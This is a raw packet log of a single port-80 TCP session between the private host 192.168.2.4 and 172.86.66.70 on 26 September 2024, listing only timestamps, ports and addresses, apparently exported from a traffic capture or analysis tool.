Sep 26, 2024 12:11:58.202651024 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.202692032 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.202719927 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.202735901 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.202781916 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.202908993 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.202924967 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.202940941 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.202955008 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.202970982 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.202980042 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.202982903 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.203001022 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.203006029 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.203015089 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.203027964 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.203032017 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.203047991 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.203073978 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.203098059 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.203142881 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.203157902 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.203174114 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.203186989 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.203206062 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.203242064 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.288111925 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.288130999 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.288146973 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.288209915 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.288232088 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.288244009 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.288247108 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.288264990 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.288300037 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.288331032 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.288360119 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.288376093 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.288391113 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.288413048 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.288414001 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.288429976 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.288439989 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.288445950 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.288463116 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.288479090 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.288485050 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.288497925 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.288527966 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.288548946 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.288650990 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.288723946 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.288739920 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.288758039 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.288773060 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.288774967 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.288805962 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.288836956 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.288852930 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.288887978 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.289014101 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.289030075 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.289045095 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.289062977 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.289071083 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.289072990 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.289076090 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.289092064 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.289097071 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.289108038 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.289134026 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.289165020 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.289340973 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.289356947 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.289371967 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.289385080 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.289400101 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.289407969 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.289423943 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.289438009 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.289442062 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.289454937 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.289469004 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.289484978 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.289485931 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.289501905 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.289506912 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.289518118 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.289525032 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.289534092 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.289562941 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.289601088 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.289699078 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.289715052 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.289731026 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.289784908 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.289797068 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.289813042 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.289827108 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.289841890 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.289849997 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.289859056 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.289891005 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.289923906 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.289942980 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.289958954 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.290023088 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.290045977 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.290060997 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.290076017 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.290091038 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.290106058 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.290107965 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.290133953 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.291155100 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.291219950 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.291234016 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.291249037 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.291290045 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.291304111 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.291320086 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.291320086 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.291336060 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.291343927 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.291416883 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.291434050 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.291435957 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.291465044 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.291480064 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.291496038 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.291522980 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.291558027 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.291574001 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.291588068 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.291603088 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.291618109 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.291626930 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.291632891 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.291646957 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.291686058 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.291696072 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.291945934 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.291994095 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.292009115 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.292025089 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.292073965 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.292079926 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.292098045 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.292114019 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.292159081 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.292722940 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.292779922 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.292825937 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.292840958 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.292856932 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.292900085 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.292923927 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.292944908 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.292983055 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.293035030 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.293051004 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.293065071 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.293081045 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.293081999 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.293108940 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.293127060 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.293143034 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.293184042 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.293226957 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.293242931 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.293257952 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.293277025 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.293298006 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.293308020 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.293313980 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.293332100 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.293349028 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.293363094 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.293365955 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.293395042 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.293585062 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.293600082 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.293615103 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.293629885 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.293634892 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.293646097 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.293654919 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.293663979 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.293678999 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.293694019 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.293695927 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.293710947 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.293725014 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.293730974 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.293741941 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.293754101 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.293760061 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.293776989 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.293785095 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.293792009 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.293797970 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.293833017 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.293853998 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.376375914 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.376396894 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.376414061 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.376437902 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.376461029 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.376476049 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.376492023 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.376533031 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.376542091 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.376604080 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.376622915 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.376629114 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.376693010 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.376724005 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.376739979 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.376755953 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.376773119 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.376781940 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.376787901 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.376821995 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.376873016 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.376888990 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.376904011 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.376919985 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.376931906 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.376950979 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.376959085 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.376998901 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.377003908 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.377021074 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.377036095 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.377051115 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.377079010 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.377109051 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.377116919 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.377219915 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.377234936 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.377249956 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.377265930 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.377269983 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.377279997 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.377295017 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.377302885 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.377311945 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.377326965 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.377329111 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.377346039 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.377371073 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.377408981 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.377543926 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.377569914 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.377584934 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.377599001 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.377614021 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.377614975 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.377629042 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.377685070 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.377685070 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.377691031 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.377707005 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.377727985 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.377743959 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.377758026 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.377759933 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.377774954 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.377811909 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.377837896 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.377895117 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.377929926 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.377945900 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.378002882 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.378067017 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.378082037 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.378094912 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.378109932 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.378123999 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.378148079 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.378164053 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.378169060 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.378211975 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.378226042 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.378268003 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.378298044 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.378313065 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.378328085 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.378343105 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.378370047 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.378391027 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.378406048 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.378448963 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.379677057 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.379703045 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.379718065 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.379761934 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.379822969 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.379838943 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.379853964 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.379869938 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.379875898 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.379898071 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.379920006 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.379951954 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.379987001 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.380002022 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.380017042 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.380032063 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.380044937 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.380047083 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.380081892 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.380111933 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.380127907 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.380166054 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.380212069 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.380228043 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.380242109 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.380260944 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.380290031 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.380357027 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.380377054 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.380393028 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.380407095 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.380420923 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.380429029 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.380455971 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.381373882 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.381403923 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.381418943 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.381449938 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.381493092 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.381548882 CEST	80	49732	172.86.66.70	192.168.2.4
